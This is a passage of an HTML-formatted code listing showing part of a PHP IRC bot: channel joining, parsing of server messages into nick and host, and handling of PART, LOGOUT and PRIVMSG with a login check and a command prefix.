{&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum69&quot;&gt;  69:&lt;/span&gt;                                 $this-&amp;gt;join($this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;chan&#39;&lt;/span&gt;]);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum70&quot;&gt;  70:&lt;/span&gt;                             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum71&quot;&gt;  71:&lt;/span&gt;                         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($cmd[1] == &lt;span style=&quot;color: #006080&quot;&gt;&#39;443&#39;&lt;/span&gt;)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum72&quot;&gt;  72:&lt;/span&gt;                             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum73&quot;&gt;  73:&lt;/span&gt;                                 $this-&amp;gt;getNick();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum74&quot;&gt;  74:&lt;/span&gt;                             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum75&quot;&gt;  75:&lt;/span&gt;                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum76&quot;&gt;  76:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($this-&amp;gt;buffer != $old_buffer)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum77&quot;&gt;  77:&lt;/span&gt;                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum78&quot;&gt;  78:&lt;/span&gt;                         $mcmd = &lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum79&quot;&gt;  79:&lt;/span&gt;                         $msg = substr(strstr($this-&amp;gt;buffer, &lt;span style=&quot;color: #006080&quot;&gt;&quot; :&quot;&lt;/span&gt;), 2);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum80&quot;&gt;  80:&lt;/span&gt;                         $msgcmd = explode(&lt;span style=&quot;color: #006080&quot;&gt;&quot; &quot;&lt;/span&gt;, $msg);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum81&quot;&gt;  81:&lt;/span&gt;                         $nick = explode(&lt;span style=&quot;color: #006080&quot;&gt;&quot;!&quot;&lt;/span&gt;, $cmd[0]);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum82&quot;&gt;  82:&lt;/span&gt;                         $vhost = explode(&lt;span style=&quot;color: #006080&quot;&gt;&quot;@&quot;&lt;/span&gt;, $nick[1]);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum83&quot;&gt;  83:&lt;/span&gt;                         $vhost = $vhost[1];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum84&quot;&gt;  84:&lt;/span&gt;                         $nick = substr($nick[0], 1);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum85&quot;&gt;  85:&lt;/span&gt;                         $host = $cmd[0];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum86&quot;&gt;  86:&lt;/span&gt;                         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($msgcmd[0] == $this-&amp;gt;nick)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum87&quot;&gt;  87:&lt;/span&gt;                             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum88&quot;&gt;  88:&lt;/span&gt;                                 &lt;span style=&quot;color: #0000ff&quot;&gt;for&lt;/span&gt;($i=0;$i&amp;lt;count($msgcmd);$i++)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum89&quot;&gt;  89:&lt;/span&gt;                                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum90&quot;&gt;  90:&lt;/span&gt;                                         $mcmd[$i] = $msgcmd[$i+1];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum91&quot;&gt;  91:&lt;/span&gt;                                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum92&quot;&gt;  92:&lt;/span&gt;                             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum93&quot;&gt;  93:&lt;/span&gt;                             &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum94&quot;&gt;  94:&lt;/span&gt;                             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum95&quot;&gt;  95:&lt;/span&gt;                                 &lt;span style=&quot;color: #0000ff&quot;&gt;for&lt;/span&gt;($i=0;$i&amp;lt;count($msgcmd);$i++)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum96&quot;&gt;  96:&lt;/span&gt;                                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum97&quot;&gt;  97:&lt;/span&gt;                                         $mcmd[$i] = $msgcmd[$i];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum98&quot;&gt;  98:&lt;/span&gt;                                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum99&quot;&gt;  99:&lt;/span&gt;                             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum100&quot;&gt; 100:&lt;/span&gt;                         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(count($cmd) &amp;gt; 2)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum101&quot;&gt; 101:&lt;/span&gt;                             {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum102&quot;&gt; 102:&lt;/span&gt;                                 &lt;span style=&quot;color: #0000ff&quot;&gt;switch&lt;/span&gt;($cmd[1])&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum103&quot;&gt; 103:&lt;/span&gt;                                     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum104&quot;&gt; 104:&lt;/span&gt;                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;PART&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum105&quot;&gt; 105:&lt;/span&gt;                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;LOGOUT&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum106&quot;&gt; 106:&lt;/span&gt;                                             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;($this-&amp;gt;isLoggedIn($host))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum107&quot;&gt; 107:&lt;/span&gt;                                                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum108&quot;&gt; 108:&lt;/span&gt;                                                     $this-&amp;gt;logOut($host);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum109&quot;&gt; 109:&lt;/span&gt;                                                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum110&quot;&gt; 110:&lt;/span&gt;                                             &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum111&quot;&gt; 111:&lt;/span&gt;                                         &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum112&quot;&gt; 112:&lt;/span&gt;                                         &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum113&quot;&gt; 113:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                         * @Start Command args&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum114&quot;&gt; 114:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                         */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum115&quot;&gt; 115:&lt;/span&gt;                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;PRIVMSG&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum116&quot;&gt; 116:&lt;/span&gt;                                             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(!$this-&amp;gt;isLoggedIn($host))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum117&quot;&gt; 117:&lt;/span&gt;                                                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum118&quot;&gt; 118:&lt;/span&gt;                                                     &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(substr($mcmd[0], 0, 1) == $this-&amp;gt;config[&lt;span style=&quot;color: #006080&quot;&gt;&#39;cmdprefix&#39;&lt;/span&gt;])&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum119&quot;&gt; 119:&lt;/span&gt;                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span 